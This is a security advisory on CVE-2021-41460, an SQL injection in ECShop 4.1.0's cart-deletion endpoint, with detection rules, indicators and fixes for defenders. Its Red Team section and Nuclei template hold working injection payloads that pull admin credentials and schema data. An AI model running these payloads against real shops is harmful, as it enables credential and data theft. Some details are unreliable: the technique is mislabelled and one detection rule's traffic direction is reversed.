CVE-2021-41460

Executive Summary

CVE-2021-41460 is a critical SQL injection vulnerability affecting ECShop version 4.1.0, an open-source e-commerce platform developed by ShopEx. The vulnerability resides in the /delete_cart_goods.php endpoint, where unsanitized user input in the id parameter is directly concatenated into SQL queries. This allows unauthenticated remote attackers to execute arbitrary SQL statements, leading to unauthorized access to sensitive data, including user credentials, order details, and database contents. The vulnerability has a CVSS v3.1 base score of 7.5 (High) and is confirmed exploitable with a public proof-of-concept (PoC) available via a Nuclei template. No official patch has been released, making this a high-priority threat for any organization running ECShop 4.1.0.

Supply Chain & Package Security

ECShop is a widely deployed e-commerce platform, particularly in Chinese-speaking markets. The lack of an official patch and the availability of a public exploit increases the risk of supply chain attacks. Organizations using ECShop 4.1.0 should treat this as a critical supply chain vulnerability and immediately isolate or upgrade affected instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, has a public PoC, and can lead to complete data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the POST /delete_cart_goods.php endpoint. The application fails to sanitize or parameterize user input before constructing a SQL query. The following request demonstrates the injection:

POST /delete_cart_goods.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id=1||(updatexml(1,concat(0x7e,(select md5(999999999))),1))

The injection uses a boolean-based blind technique with updatexml() to extract data. The || operator concatenates the injection with the original query, and the updatexml() function triggers an error that reveals the result of the subquery (in this case, the MD5 hash of 999999999). The matcher in the Nuclei template checks for the MD5 hash c8c605999f3d8352d7bb792cf3fdb25 in the response body to confirm successful exploitation.

The vulnerable code likely resembles:

$id = $_POST['id'];
$sql = "DELETE FROM cart WHERE id = '$id'";
$db->query($sql);

The fix would involve using prepared statements or parameterized queries:

$id = $_POST['id'];
$stmt = $db->prepare("DELETE FROM cart WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

Vulnerable vs. Patched Code

Vulnerable Code (ECShop 4.1.0):

// delete_cart_goods.php (vulnerable)
$id = $_POST['id'];
$sql = "DELETE FROM " . $GLOBALS['ecs']->table('cart') . " WHERE rec_id = '$id'";
$db->query($sql);

Patched Code (Hypothetical):

// delete_cart_goods.php (patched)
$id = intval($_POST['id']);
$sql = "DELETE FROM " . $GLOBALS['ecs']->table('cart') . " WHERE rec_id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();

The key difference is the use of intval() to cast the input to an integer and the use of a prepared statement with a parameterized query, which prevents SQL injection.

Exploitation & Lab Setup

Red Team

Objective: Extract sensitive data from the ECShop database.

Prerequisites:

• A target running ECShop 4.1.0.
• Network access to the /delete_cart_goods.php endpoint.

Exploitation Steps:

1. Verify Vulnerability: Send the following request using curl:

   curl -X POST http://target.com/delete_cart_goods.php \
     -d "id=1||(updatexml(1,concat(0x7e,(select md5(999999999))),1))"
   

   If the response contains c8c605999f3d8352d7bb792cf3fdb25, the target is vulnerable.

2. Extract Database Version:

   curl -X POST http://target.com/delete_cart_goods.php \
     -d "id=1||(updatexml(1,concat(0x7e,(select @@version)),1))"
   

3. Extract Table Names:

   curl -X POST http://target.com/delete_cart_goods.php \
     -d "id=1||(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))"
   

4. Extract User Credentials:

   curl -X POST http://target.com/delete_cart_goods.php \
     -d "id=1||(updatexml(1,concat(0x7e,(select group_concat(user_name,0x3a,password) from ecs_admin_user)),1))"
   

Automated Exploitation with Nuclei:

nuclei -t CVE-2021-41460.yaml -u http://target.com

Blue Team

Detection:

• Monitor HTTP POST requests to /delete_cart_goods.php containing SQL keywords like updatexml, concat, select, union, or sleep.
• Alert on response bodies containing error messages from updatexml() or unexpected MD5 hashes.

Hunting:

• Search web server logs for requests to /delete_cart_goods.php with abnormal id parameters (e.g., containing parentheses, SQL functions, or multiple || operators).
• Use the following Splunk query:

  index=web sourcetype=access_combined uri="/delete_cart_goods.php" form_data=*updatexml* OR form_data=*concat* OR form_data=*select*
  

Containment:

• Immediately block the /delete_cart_goods.php endpoint at the WAF or web server level.
• Apply a virtual patch using a WAF rule to block SQL injection patterns in the id parameter.
• Isolate the affected server and rotate all database credentials.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /delete_cart_goods.php with id parameter containing SQL injection payloads (e.g., updatexml, concat, select).
  • Response bodies containing the MD5 hash c8c605999f3d8352d7bb792cf3fdb25 or error messages from updatexml().

• File IOCs:

  • Modified or suspicious entries in web server logs (e.g., access.log, error.log) showing SQL injection attempts.

• Database IOCs:

  • Unauthorized queries to information_schema tables.
  • Unexpected error logs in the database containing XPATH syntax errors.

Detection Engineering

YARA Rule

rule CVE_2021_41460_ECShop_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2021-41460 in ECShop 4.1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-41460"
        severity = "high"
    strings:
        $s1 = "updatexml" ascii wide nocase
        $s2 = "concat" ascii wide nocase
        $s3 = "select" ascii wide nocase
        $s4 = "delete_cart_goods.php" ascii wide nocase
        $s5 = "id=" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: ECShop CVE-2021-41460 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to ECShop's delete_cart_goods.php with SQL injection patterns.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/delete_cart_goods.php'
        cs-uri-query|contains: 'id='
    keywords:
        - 'updatexml'
        - 'concat'
        - 'select'
        - 'union'
        - 'sleep'
    condition: selection and keywords
falsepositives:
    - Legitimate use of these keywords in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-41460 ECShop SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/delete_cart_goods.php"; http_uri;
    content:"id="; http_client_body;
    pcre:"/(updatexml|concat|select|union|sleep)/Pi";
    reference:cve,2021-41460;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2021-41460

info:
  name: ECShop 4.1.0 - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    ECShop 4.1.0 has SQL injection vulnerability, which can be exploited by attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of ECShop to mitigate the SQL Injection vulnerability (CVE-2021-41460).
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-58823
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41460
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41460
    cwe-id: CWE-89
    epss-score: 0.44712
    epss-percentile: 0.9759
    cpe: cpe:2.3:a:shopex:ecshop:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shopex
    product: ecshop
    fofa-query:
      - product="ECShop"
      - product="ecshop"
  tags: cve2021,cve,cnvd,cnvd2020,ecshop,sqli,shopex,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /delete_cart_goods.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=1||(updatexml(1,concat(0x7e,(select%20md5({{num}}))),1))

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fdb25'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable instance: If possible, take the ECShop server offline or behind a strict firewall.
2. Apply a WAF rule: Block requests to /delete_cart_goods.php with SQL injection patterns in the id parameter.
3. Disable the endpoint: If the cart deletion functionality is not critical, remove or rename the delete_cart_goods.php file.

Long-term Fix:

• Upgrade ECShop: Since no official patch is available, consider migrating to a supported e-commerce platform or a newer version of ECShop if available.
• Code Hardening: If you must continue using ECShop 4.1.0, manually patch the vulnerable file by implementing prepared statements and input validation (e.g., intval() for numeric fields).
• Database Security: Ensure the database user used by ECShop has minimal privileges (e.g., no FILE or SELECT ... INTO OUTFILE privileges).

Monitoring:

• Enable detailed logging for all web requests and database queries.
• Set up alerts for any SQL injection patterns detected in logs.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: E7CB1CC11C2033E005762DE3] */}